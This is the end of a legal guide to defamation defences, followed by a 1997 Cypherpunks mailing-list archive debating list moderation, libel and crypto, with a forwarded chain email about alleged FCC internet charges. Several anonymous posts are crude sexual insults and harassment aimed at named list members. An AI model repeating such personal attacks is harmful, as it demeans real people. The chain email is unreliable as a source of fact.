   Therefore, it is important to discuss your case with a lawyer to
   determine how yours would be treated under the law.
   
   We said earlier that the law protects a person's reputation. But
   obviously this protection can have the effect of restricting other
   rights, such as free speech. So the law tries to balance these
   competing interests. In certain circumstances, even though a
   defamatory statement may have been made and a person may have suffered
   injury to reputation, other interests are considered more important.
   In those cases, the law provides certain defences that can protect a
   defamer from liability.
   
   
   The most common defences are: truth (known in law as "justification");
   absolute privilege; qualified privilege; and fair comment.
   
   
   The first is the easiest. A statement might well lower your
   reputation, but if it is the truth then anyone is free to say it.
   Additionally, if you consent to the statement being made, you cannot
   later argue you have been defamed.
   
   
   The second defence - that of absolute privilege - covers statements
   given in evidence at a trial, or made in Parliament, to give the two
   prime examples. And it extends to the fair and accurate reporting of
   those statements - the newspaper report of a trial, for instance. Our
   systems of justice and parliamentary democracy demand that in those
   situations participants must be free to speak candidly, without having
   to worry about risking a lawsuit for defamation.
   
   
   The defence of qualified privilege covers other situations. For
   instance - say a former employee of yours has given your name as a
   reference, so you get a call from someone who wants to hire him. He
   asks your opinion. You say: "Well, frankly, I always suspected he was
   stealing from me." That's an occasion of qualified privilege . You had
   a moral duty to give your honest opinion and the caller had a
   legitimate interest in hearing it. As long as you acted in good faith
   and said what you honestly believed you would have a valid defence to
   an action for defamation.
   
   
   Finally, there's the defence of fair comment. We are all free to
   comment freely - even harshly - on matters of legitimate public
   interest as long as our comments are made honestly, not maliciously,
   and are based on true facts. For example, say a columnist writes that
   an MP secretly holds shares in a company which has just got a large
   government contract. Then he comments that the MP is deceitful and
   should resign his seat. Well, if in fact the MP owns no shares in the
   company, then the columnist may be open to a lawsuit. But if the facts
   are true, that is the MP does own the shares, and the columnist
   honestly believes bases on those facts that the MP is deceitful and
   should resign, then he will have the defence of fair comment.
   
   
   If you intend to sue for a libel in a newspaper or a broadcast you
   must give notice to all those you intend to sue within six weeks of
   learning of the publication or broadcast, and you must specify in your
   notice the nature of your complaint, with specific reference to the
   actual words of which you complained. As well, you must commence your
   action within three months of learning of the publication or the
   broadcast. Failure to conform with either of these two steps will
   deprive you of any right to sue.
   
   In cases not involving newspapers or broadcasts, you must commence
   your action against the defaming party within 2 years of the words
   being spoken or written.
   
   
   Finally, there's the matter of apology. When a libel has been
   published in a newspaper or other periodical, or in a radio or
   television broadcast, the publisher or broadcaster can limit the
   amount of the damages the broadcaster may end up paying by publishing
   or broadcasting a full apology at the earliest opportunity. Not only
   newspapers and broadcasters can limit their damages by offering an
   apology before the action begins. Any defaming party can offer an
   apology in the hopes of having their damages reduced.
   
   
   The law of defamation protects your right to your good name. If a
   person makes a false statement to another to your discredit you can
   sue for damages. But because of other competing rights in our society,
   such as free speech and fair comment, there are cases where even the
   most defamatory statement will not give rise to an award of damages.
   If you think you have been defamed, you should talk to a lawyer.
   
   Home   Search   Feedback   What's New   Copyright & Disclaimer   About
   This Site





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 27 Jan 1997 19:32:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Libel/slander & crypto relevancy
Message-ID: <199701280332.TAA15454@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

I have received several private emails inquiring into what possible crypto
relevance the recent exchange over libel/slander and the law. It is clear
that even in democratic countries like Canada (not know as a freedom of
speech protectorate) slander/libel is covered under criminal codes. While
it is true that currently these statutes are not heavily used, if at all,
this will change as businesses and special interest groups move even further
onto electronic networks. Consider the zealous use of the law by the CoS.
Ask Julf if the ramifications are not 'real world'.

Consider a trial where a person is purported to have altered a transmission
by some party. It is not in the juries best interest to rule in the favor of
anyone other than the person claiming the damage. Why you might ask? Simply
because they are going to see themselves in that same situation and will
want to know that they are protected both in spirit as well as actuality.
What company will want to use an environment where their contracts and other
exchanges can not only be viewed by unknown third parties but are subject to
a man in the middle attack, potentialy ruining a company. Consider the
ramifications in a political venue. Now some will quickly point out that
they can encrypt the entire document, hardly suitable for web pages and
other forms of advertisment. I predict that within the next five years these
slander/libel laws will be used by some organization to prosecute defamation
of their Internet presence (eg web page graffitti). Within 10 years this
area will be one of the hotest areas of the new communications law.

Now some have held that list operators and such will be protected, most
probably not in reality. Consider, we live in a time where a person can get
drunk and kill somebody with their automobile and the bar or store they
bought the drink(s) from can be charged. There is a current trend in the
legal industry to find the person that is easiest to prosecute in the chain
of events and it has nothing to do with personal responsibility or other
quaint but possibly naive views.

I want to thank Toto for acting as the unknowing and unwilling dupe in my
taking advantage of his emotional outburst and its results, it wasn't
personal I was simply trying to create a suitable environment to make
my point. It was a happenstance occurance I could not resist taking
advantage of. It is clear that here we have a lawyer in Canada who is not
even aware that there is a little used criminal statute in the country he
practices in which could be used by citizens sufficiently motivated and
having suitable quantities of cash at hand to pursue the matter. This is
not a unique occurance by any means, consider the outburst from some list
members, supposed legal experts, over some of the references that I
forwarded (not what I would call a consistent understanding of the law by
any stretch of the imagination). The reality is that the legal industry
(after all the main motivation for the legal profession is money) has a
serious lacking in trained individuals. This should be a warning sign to
everyone in any society which has hopes of embracing communications 
technology. Lawyers don't make law, they survive by taking their views of
the law and convincing juries of from 6 to 12 (YMMV) persons that this is
the way to protect 'society' and its best interests. If they don't
understand the technology (eg forwarding private email to publicly
accessible lists by accident) how in the world are they going to understand
what is best, let along convince anyone else? Is this the kind of
self-interest you want to trust your criminal communications case, let alone
your liberty, to?

It has been proposed by at least one party that a district attorney or other
public prosecutor would not act on such events. This is also naive. The
ramifications for their political opponents to use this 'insensitive and
clearly self-interested' refusal to act as a perfect example of how that
prosecutor is interested in their own political career and not in the
interest of the people they are charged with protecting as well as a good
demonstration of their technological ignorance. It would be very difficult
to get re-elected in such an environment.

Now the crypto relevancy, one of the methods to help reduce if not
completely abort such attempts is digital signatures. Recently a couple of
co-workers for Tivoli-IBM went to the Usenix conference and while there did
some key signings. However, after discussion upon their return it was clear
that having had their keys signed and signing others there was no clearly
useful way to apply those keys in commen communications. Last year the
Austin Cypherpunks did a short term experiment with a system
(kourier.ssz.com) which was involved in encrypted file systems, encrypted
transfers, traffic analysis, and heterogenous key-ring management. This also
made it clear that the legal ramifications, economic issues (eg who pays) as
well as the technical hurdles have not been studied sufficiently to call this
technology mature.

All that I ask is that instead of jumping the gun and saying 'it ain't so'
you simply consider the ramifications from 'their' perspective. It truly is
amazing what one can learn by walking a mile in another mans shoes. For if
there is one truth to be learned it is that this discussion is not about how
it is, but rather how it will be and how it should be.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Reply to <isp@fcc.gov>
Date: Tue, 11 Feb 1997 06:11:40 -0800 (PST)
To: Internet.Users@crl.com
Subject: FCC may impose per minute charges on internet
Message-ID: <199702111411.GAA19324@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>
>>I am writing you this to inform you of a very important matter currently
>>under review by the FCC. Your local telephone company has filed a
>>proposal with the FCC to impose per minute charges for your internet
>>service. They contend that your usage has or will hinder the operation
>>of the telephone network.
>>
>>It is my belief that internet usage will diminish if users were required
>>to pay additional per minute charges. The FCC has created an email box
>>for your comments, responses must be received by February 13, 1997. Send
>>your comments to isp@fcc.gov and tell them what you think.
>>
>>Please forward this email to all your friends on the internet so all our
>>voices may be heard.
>>
>>Thanks for your time,
>>
>>Brian
>>
>>______________________________________________________________________________









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:26:38 -0800 (PST)
To: tmcghan@gill-simpson.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041426.GAA27956@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


tmcghan@gill-simpson.com wrote:
> in a message allegedly from:  "Timothy C. May" <tcmay@got.net>
> > the really important issue is this: is the _physical hosting_ of the
> > Cypherpunks mailing list coterminous with the "Cypherpunks"?
> { much thoughtful and well-phrased commentary elided }
> > I would have had no problem had John announced that he was creating
> > a new list, the "Good Stuff" list, with Sandy has his Chooser of
> > Good Stuff.  But by making the _main list_ the censored one, this
> > skewed things considerably.

> Now that the horse is out of the barn, ( or maybe not? ), I can't help
> but ask whether one specific 'change to the change' would have
> satisfied most of your objections:  retaining 'cypherpunks' as the
> name of the unedited, all-the-crud-you-can-read-and-then-some,
> version, and adding an 'cp-worthwhile' list for those of us who prefer
> not to wade thru mountains of garbage to glean a few precious tidbits.
> What's in a name?  Is perception more important ( to you ) than
> reality?  If just swapping names between cp and cp-unedited would make
> such a large difference, I humbly suggest to you that you consider how
> much labels need to matter.  Is the title of the group more important
> the the content?  From where I sit, this looks a lot like a
> style-over-substance complaint.  Of course, I don't have my trifocals
> on just at the moment.

If it did not suit a specific purpose, they wouldn't have done it
that way.  You can take it to the bank that they did this because
it was the only way to keep the 1300-plus sheep subscribed to what
they wanted to be their "main" list.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Tue, 4 Feb 1997 06:25:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: The V chip
Message-ID: <199702041425.GAA27851@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Demented Vomit was born when his mother was on the toilet.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Demented Vomit







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Tue, 4 Feb 1997 06:25:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [DSS] PGP Signatures
Message-ID: <199702041425.GAA27869@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Decoy Vilus K)ankersore( Of The Minute's family tree goes
straight up. All of his ancestors were siblings, too dumb to
recognize each other in the dark.

       |\_/|
       (0_0)     Decoy Vilus K)ankersore( Of The Minute
      ==(Y)==
  ---(u)---(u)---







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Tue, 4 Feb 1997 06:25:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] Degausser
Message-ID: <199702041425.GAA27875@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Decoy L[esbian] Vitriol K[ancer]OTM has been fired for
masturbating in front of his boss.

          o/ Decoy L[esbian] Vitriol K[ancer]OTM
         <|
         / >







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:40:47 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: Trigger-Words...Trigger-Fingers
Message-ID: <199702041440.GAA28300@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Larry Johnson wrote:
> Cynthia H. Brown wrote:
[snippo]
> Theres not many girls on this list, is there?
[mo' snippo]
> Anyway, my uncle prints out the girl-cypherpunks stuff for the girls
> on my list and they think its real cool and they all want to marry
> technicians so that they can make them work on the computers for them,
> kind of like making them do the computer dishes, you know.
[yet mo' snippo]

I want to get married.  Lots of times.  Are the girls cute?
I don't do hardware, tho, I'm a software guy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 4 Feb 1997 06:26:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FCPUNX:ecure Phones (fwd)
Message-ID: <199702041426.GAA27899@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Tue, 4 Feb 1997 06:56:39 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Trigger-Words...Trigger-Fingers
Message-ID: <199702041456.GAA28778@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Larry Johnson wrote:
> > Cynthia H. Brown wrote:
> [snippo]
> > Theres not many girls on this list, is there?
> [mo' snippo]
> > Anyway, my uncle prints out the girl-cypherpunks stuff for the girls
> > on my list and they think its real cool and they all want to marry
> > technicians so that they can make them work on the computers for them,
> > kind of like making them do the computer dishes, you know.
> [yet mo' snippo]
> 
> I want to get married.  Lots of times.  Are the girls cute?
> I don't do hardware, tho, I'm a software guy.

Yeah their real cute, most of them anyway. Their all nice though. Some of them
would like you cause they dont like regular guys, cause their troublemakers
too. 
I know your a troublemaker (I think thats a good thing) because Ive read your
stuff and myu uncle keeps you in his NotADork/MyAssholes dir. Thats where he 
keeps the troublemakers but its not an insult because he likes what Kevin
(hes a Bodston Celtic said--"Danny Ange is an asshole, but hes _our_ asshole."
  He taght me how to read by using the Froggie manual since I could boot it
myself when he was out of the rooom when I was two year old. Now he teachs
me how to read with the cypherpunk messages and stuff from his govbernment
friends. (Their good government guys though, they like you guys. Their 
really secret guys not lamer regualar secret guys. They laugh at those 
regular secret guys who screw with you guys cause they leave their pecker
tracks all over the place.)
Some people thik Im a lamer cause Im not good with grammer (not on the kids
lists thogh) bu tmy uncle says Ill learn how to do that but Im better to
learn how tho think first. Ive got dsylexia too so I use a spell checkerif
I want to look smart but emailers dont have it.

You guyhs should keep being troublemakers. Really.
My uncle says that if you guys get too polite then you better watcvh your
backs when you curtsy, cause you never know whos sneaking up behind you.
He told me that if I watch you rmodernation that I wont have to have
sex educaton laterer cause I'll already know how to get f*)&%ed.
(Hes funny. His governmnt friends call him the fool becaise hes dumb like
a fox.)
Excuse my spelling but I spell things good once I see them in a dir cause
myu uncle make s me look stuff up before I put it in a dir or he erases
myu dir to make me learn.

I think the girls would like you cause yuou are a computer guy. Ill show 
them your letter. Theeir smart, too. They dont like lamer guys. When their
school computer guy messes up ecveyones stuff then they fix it but they 
dont tell him cause it makes him mad.
Im not real good at 4reading code and stuff but the secret computer guys 
let me drink Scotch with them evcen in the bar at the Holiday In in Santafe
cause Im smarter than them abou t som e stuff even if they are really good.
(I go tm y uncles password on his secret machine by putting my video camera
on the frige with a dead battery and pluging it into his power supply)
(Now when he boots up he will getr Duke Nukem3D and when he leacves it
he will get a message telling him hes a _lamer_.)
He had to go to Lost Alamo again because of you guys and hell gibve me 
sh*&)( when he gets back but not too much cause he said I could do 
anything I want on his secret machine if I got on it.
Im getting to play with Unix cause he has a Spark Card on it that has Unix
on it. (Dos is for lamers but Bill Gates owns ecerything so its cheaper
for kids)

Some lamer said on cypherpunks today that it takes him an hour to get
the pecker messages off his computer. My uncle has me to do it for him
sometimes and it only take me like maybve two minutes. 
If the guy is such a lmaer that it take s hinm an hour then maybe he
should just read only the pecker messages cause they have pictures and
then when he mobes his lips to read then he coul d put them on the
peckers. (Thats a joke)

I like that Tim May is bacvk, if only even for a little while.  When you
guys fight at least you say stuff that isnt kissing ass for other guys 
money.
Im going to make a message to cypherpunsk that says if anyone wants me
to be their moderator then they should not write any messages to the
cypherpunks. Then the 2000 people who dont post will be voting for me
to be their moderator and I will be their boss.
If Im the moderator then I will givbe everyone free pizz a and lots 
and lots of Scotch. (<--Dewars)

I hope you guys stay together. My uncle says sometimes you learn by 
looking and sometimes you leran by seeing whos looking back. But he
tells the  secret gobvernmetn guys not to look back cause their
might be a cypherpunk gaining on them. (Thats a joke)

Ive got to go to bed so I can pretned to get up again. Im sick so I
can do what I want bu t Im not supposed to stya up all night either.
I wont let the door hit me in the ass on my wayout.

Bye,
Human Gus-Peter
p.s. - dont write me after Thursday cause my dad will be back and Ill
get in trouble. My uncle will help me clean u p my mess cause hes not
a squealer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Tue, 4 Feb 1997 06:55:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Elliptic curves
Message-ID: <199702041455.GAA28677@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May's wee-wee is so tiny that only his mommy is allowed 
to touch it.

   /\
  /..\  Tim May
 /_\/_\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Tue, 4 Feb 1997 06:57:48 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041457.GAA28808@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
>> Adam Back wrote:
>> >
>> > Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
>> > an aside, it is ironic that John Gilmore was the guy who started the
>> > alt.* USENET hierarchy, specifically to facilitate freedom of speech).
>> >
>>
>> An interesting idea.
> 
>John Gilmore of EFF is a liar and a hypocrite who likes to claim credit for
>other people's accomplishments.  

  Well EFF itself is a lie--the were very well exposed by Wired Mag. a
while back as being nothing more than a corporate whore.  They represent
the interests of owners not consumers--the ACLU has been very open
in their critisism of the EFF in this regard.  A large corporation
waves some money in front of their noses and tells them to bend
over you can be sure they'll bend over.  Respectable free speech
advocates do not associate with EFF.

>He had nothing whatsoever to do with the creation of the alt.* Usenet 
>hierarchy. Gilmore is a liar and a censor.
> 

  Is Mr. Gilmore making this claim?

>On the other hand, creating an alt.cypherpunks sounds like a more robust
>idea than yet another mailing list.

  And you could merely post this mailing list publically in the
alt group of your choice--I find it interesting at times but not
worth responding to in general since freedom of expressiion is
not a given.

                            Steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 4 Feb 1997 06:41:33 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041441.GAA28376@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> This is Tim's first error of fact.  I point it out not to insult
> him, but because it seriously affects much of the rest of his
> analysis.  We are conducting an experiment.  It will last one 
> month.  After that, it's over if list members want it to be over.
> If, on the other hand, moderation is seen by the list members as
> beneficial to their use and enjoyment of the list, the current
> form of moderation--or some variation will continue.

How will you allow list members to decide? - Here presumably we 
have a self proclaimed anarchist in favour of direct democracy. 
And if the subscribers can call off this "experiment" it seems rather 
out of place that they did not institute it in the first place.

> > With no false modesty I tried awfully hard to compose substantive
> > essays on crypto-political topics, often more than one per day.
> 
> I would hope that Tim will return to this practice irrespective
> of whether the list remains moderated or returns to its previous
> policies.  More on this, below.

You genuinely expect a thoughtful writer and intelligent author of 
posts to allow you to approve them or otherwise for general release? 
 
> > (Others did too, but they seem to be tapering off as well, leaving the list
> > to be dominated by something called a "Toto," the "O.J. was framed!"
> > ravings of Dale Thorn, the love letters between Vulis and someone name
> > Nurdane Oksas,...
> 
> Two points:  Since Tim largely agrees with those in opposition to
> moderation, and because of the extraordinary nature of Tim's post,
> I did not send it to the "flames" list.  It was a judgment call.

Why? - I saw nothing whatsoever in Tim`s post that would make it a 
"judgement call" for any objective moderator^H^H^H^H^H^H^H^H^Hcensor.
The real reason it was a judegement call was because it was critical 
of Gilmore and yourself, in addition Tim`s points where too subtle 
and deep for you to respond to without resorting to sophistry.
The reason on the other hand you did choose to post it to the 
censored list was because you realised this and could not get away 
with junking it to the flames list without incurring criticism.
  
> The problems Tim describes, did not arise with moderation.  
> Indeed, they were the imputus for the moderation.

Sophistry once again. I shall not even bother to explore in more 
detail this issue as any intelligent reader can, even at face value, 
see this to be a falacious argument.

> > Second, the list was consumed with
> > flames about this, many from Vulis, and many from others.
> 
> It was consumed with flames before.  Now, at least, the vast
> majority of folks on the list don't have to read them, nor jump
> through any hoops to implement some sort of dynamic filtering
> half-measure.

Three questions:

1. How do you see filtering to be a "half measure"
2. What hoops? - if you count implementing a simple filtering 
measure to be "jumping through hoops" how do you consider that 
readers of the list do not have to "jump through hoops" to subscribe 
to the uncensored list.
3. What makes you think that your subjective and evidently self serving method 
of moderation is any better than keyword filtering.
 
 
> What didn't work was "local filtering" which has no feed-back 
> loop to engender comity.  This might not work either, but I see
> no evidence that it has made things worse.  Remember, there are a
> hand-full of subscribers to the Flames list, 20-30 on the 
> Unedited list and *2000* or so on the Moderated list.  Sure some
> of that may be due to laziness, but it would be cavalier in the
> extreme to claim that such an overwhelming acceptance of 
> moderation is merely an artifact of inertia.

Cavalier? - I`ll bet you anything you like if you had set up a new 
list for the censored articles and left cypherpunks@toad.com as an 
uncensored list you would have seen the same results, that 2000 or so 
would have remained where they were instead of trying to "unimbibe", 
and a hardcore of 20 to 30 subscribers would have consciously taken 
the decision to move to the censored list.

As we seem to be in "experiment" mood on the cypherpunks list at the 
moment I challenge you now to re-configure the list as stated above. 
The we shall see whose viewpoint is "cavalier"
 
> But to make things perfectly clear one more time, ANYONE WHO 
> WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO 
> "CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES."  

See above argument, the flock stay together. In addition other list 
members are lazy, stupid, ignorant etc. And cannot/will not subscribe 
to the uncensored list.

> But let's apply Tim's above definition for the sake of argument.
> Am I, thereby, a censor?  Well I am examining "other material" 
> and I am making judgments with regard to whether or not it is
> "objectionable," unfortunately for Tim's argument, I am neither
> "removing" nor "supressing" anything.  Anybody can read anything
> that gets posted to Cypherpunks--in two places.  I am sorting,
> but even my sorting can be completely avoided.

Waffle. There is a suprising profundity of waffle in this post 
considering it is supposed to be refuting some very subtle and 
eloquently stated arguments by Tim.
The fact is you are a censor, you are deciding what is seen on the 
"main" cypherpunks list, you send any comments on your form of 
censorship, apart from compliments, to the "flames" list in order to 
protect yourself and John Gilmore.

> Very possibly true.  Moderation is like crypto, perfection isn't
> and option.  However, a 90% solution is a heck of a lot better 
> than no solution at all.  Yes, I've made what I consider to be
> errors, but I think on some, I've done a very good job overall.
>  
> > * (Frankly, one of my considerations in leaving was the feeling that I
> > would never know if an essay I'd spent hours composing would be rejected by
> > Sandy for whatever reasons....
> 
> Tim, I think this is disingenuous.  I have been quite clear on 
> my moderation criteria.  You are too intelligent to feign such
> a lack of understanding.

Not at all, Even if you had been clear (and let me make it clear that 
I do not believe you have been) you still would not objectively 
follow those guidelines you had set for yourself. Your censorship is 
subjective and unethical. However, I am deviating from the point as I 
happen to be arguing from an anti-censorship point of view whoever 
were carrying out said censorship.

> > * The decision to "moderate" (censor) the Cypherpunks list is powerful
> > ammunition to give to our opponents,
> 
> Piffle.  Letting spoiled children destroy the list puts a far
> more powerful weapon in the hands of our enemies.

Piffle, showing that even an anarchic list "requires" censorship is 
the best ammunition we could have given them. We are better off 
without a cypherpunks list at all than we are playing into the hands 
of those who oppose us.

> > and Vulis is certainly gleeful that
> > his fondest wishes have been realized.
> 
> I do not have a crystal ball.  My Vulcan mind meld is in the 
> shop.  No one--neither Tim, nor I, nor probably even Vulis--knows 
> whether he is gleeful about all this or not.  And frankly, who cares?
> The question is, are list members happy or not with moderation.
> Tim was not.  I am.  By the end of the experiment, I dare say we
> will have a good idea what most list members think. 

We already have a good idea what they think if we care to look at the 
flames list where all their relevant comments are junked to.

Besides which you are not answering the question here, just picking a 
random point to put forward an argument you wanted to.


> as far as moderating political rants go, I'm agnostic.

You mis-spelled self-serving.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 4 Feb 1997 06:56:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More Hacking of the Mykotronx Site!
Message-ID: <199702041456.GAA28734@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


While this report may be true, I wonder if it's not a spoof or even
official disinformation to mislead about the details of Aaron's mission 
as well as what Rainbow and others are really peddling to
rabble-fearing paranoids.

This last sentence seems a bit too melodramatic even for a suck-up
crippled-chip manufacturer:

>The MYK-82, developed by Mykotronx and fabricated by VLSI Technology,
>Inc., is the first of a series of security products to be developed as
>part of an alliance with the NSA, targeting both Government and
>commercial citizen monitoring markets.

Granted that defense to LEA-market conversionists like to pornograph the 
godawful carnage their technology can wreak on disobedient civilians to 
arouse ex-military-to-LEA converted glands -- do they actually write SOF 
drool like this?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Tue, 4 Feb 1997 13:59:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: e$
Message-ID: <199702042159.NAA06270@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May is so full of shit that some of 
it bursts out on this mailing list.

           o
       /\O/        O Timothy May
      0  \\    | 0-#
         //    |  / \






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Tue, 4 Feb 1997 13:59:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: [UPDATE] Making OCR'ed code transfer easier
Message-ID: <199702042159.NAA06301@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Deceased Vilus has such a small penis because the mohel who
circumcised him was trying to do the world a favor.

    _   /|
    `o_O'   Deceased Vilus
     ( )
      U







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 4 Feb 1997 15:19:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: BA Crypto Machine Photos (fwd)
Message-ID: <199702042319.PAA07554@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Tue, 4 Feb 1997 23:25:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Zero-knowledge interactive proofs
Message-ID: <199702050725.XAA18020@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The main difference between Tim C. Maypole and 
shit is that shit smells better.

       o       o
     /<         >\ Tim C. Maypole
     \\\_______///
     //         \\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 4 Feb 1997 23:27:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Announcing ZDNet Exclusives!
Message-ID: <199702050727.XAA18146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:41:10 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702050741.XAA18588@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:

> > The drunk can be excluded, but when someone wants to use the drunk as
> > an example to escalate the exclusion to other persons who are not in
> > fact drunk, watch out!

> If I get really really drunk, which happens very seldom, then I'm
> too drunk to post. I don't mind an occasional beer, though.

> Oksas, have you ever tried beer? :-)

I had my first beer(s) in three years at one of those industrial
parties last night.  It made the craps table action seem a bit
merrier, and the girls were friendlier too.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Tue, 4 Feb 1997 23:41:25 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: John Gilmore / What a _Lamer_!
Message-ID: <199702050741.XAA18624@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.

I havent chosen nothing like that. 
I read all the stuff from all the messages from before modernation 
and since then and nobody got to choose nothing. You told them what
they were going to gwet and thats what they got.
Anybody that made it plain that they werent happy got thrown in the
trashcan and labled as being a flamer.

>  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.

1311 addresses that you stole for your censored list.
Nobvody subscribved to cypherpunks-censored. You put them there cause
its you decided it was your list an dyou could put people where you
wanted even if they didnt like it.
My uncle calls it the cyperpunks-Auschwitz list. Thats what subdir
he keeps it in in his Dorks dir.

> The cypherpunks list was unusable
> for this kind of discussion, only a month ago.  It's usable now.

I could use it before and Im just a kid but Im not a lamer. 
Maybe you should call the list you stole cypherpunks-lamers. 

> I'm definitely bugged by the community's attitude toward my
> "censorship".  

I know you are or else you wouldna thrown cypherpunks honest and
truthful feelings in the flames-crapper.

> Rather than being glad that someone, anyone, was doing
> something about the major problem on the list, 99% of the reaction was
> to create even more ill-considered, emotional flamage.

I read a lot of flamessages which people put a lot of their thouhgts 
into bu t they were emotional cause people get like that when someone
doo-doos on them.

>  *I* didn't
> make the signal/noise get worse at that point -- *you-all* did.

You dont make any signal/noise at all since you dont even send messages
to the list. (except when you want tell bs about how people "chose"
Sandy to be their dictator when they didnt)
 
> "Asking the list what to do" was clearly not a useful
> option.

Not necessary either if your a dictator.

>  As Dale suggests, I
> wasn't about to waste my time reading the whole list in real time and
> passing judgement on the postings.  Sandy was, for a month.

Howcum reading the list is a wast eof your time but making decisions
for ecveryone on the cypherpunks isnt?
 
>     To some it seemed that, now that they were in actual possession of
>     it, freedom was a more serious thing than they had expected to
>     find it.
> 
> Most of the people on the list haven't bothered to face that freedom.

1311 ofg them?
Howcum you just stole all of the list people for your censored list?
I think that was real stupid unless you just didnt care if people 
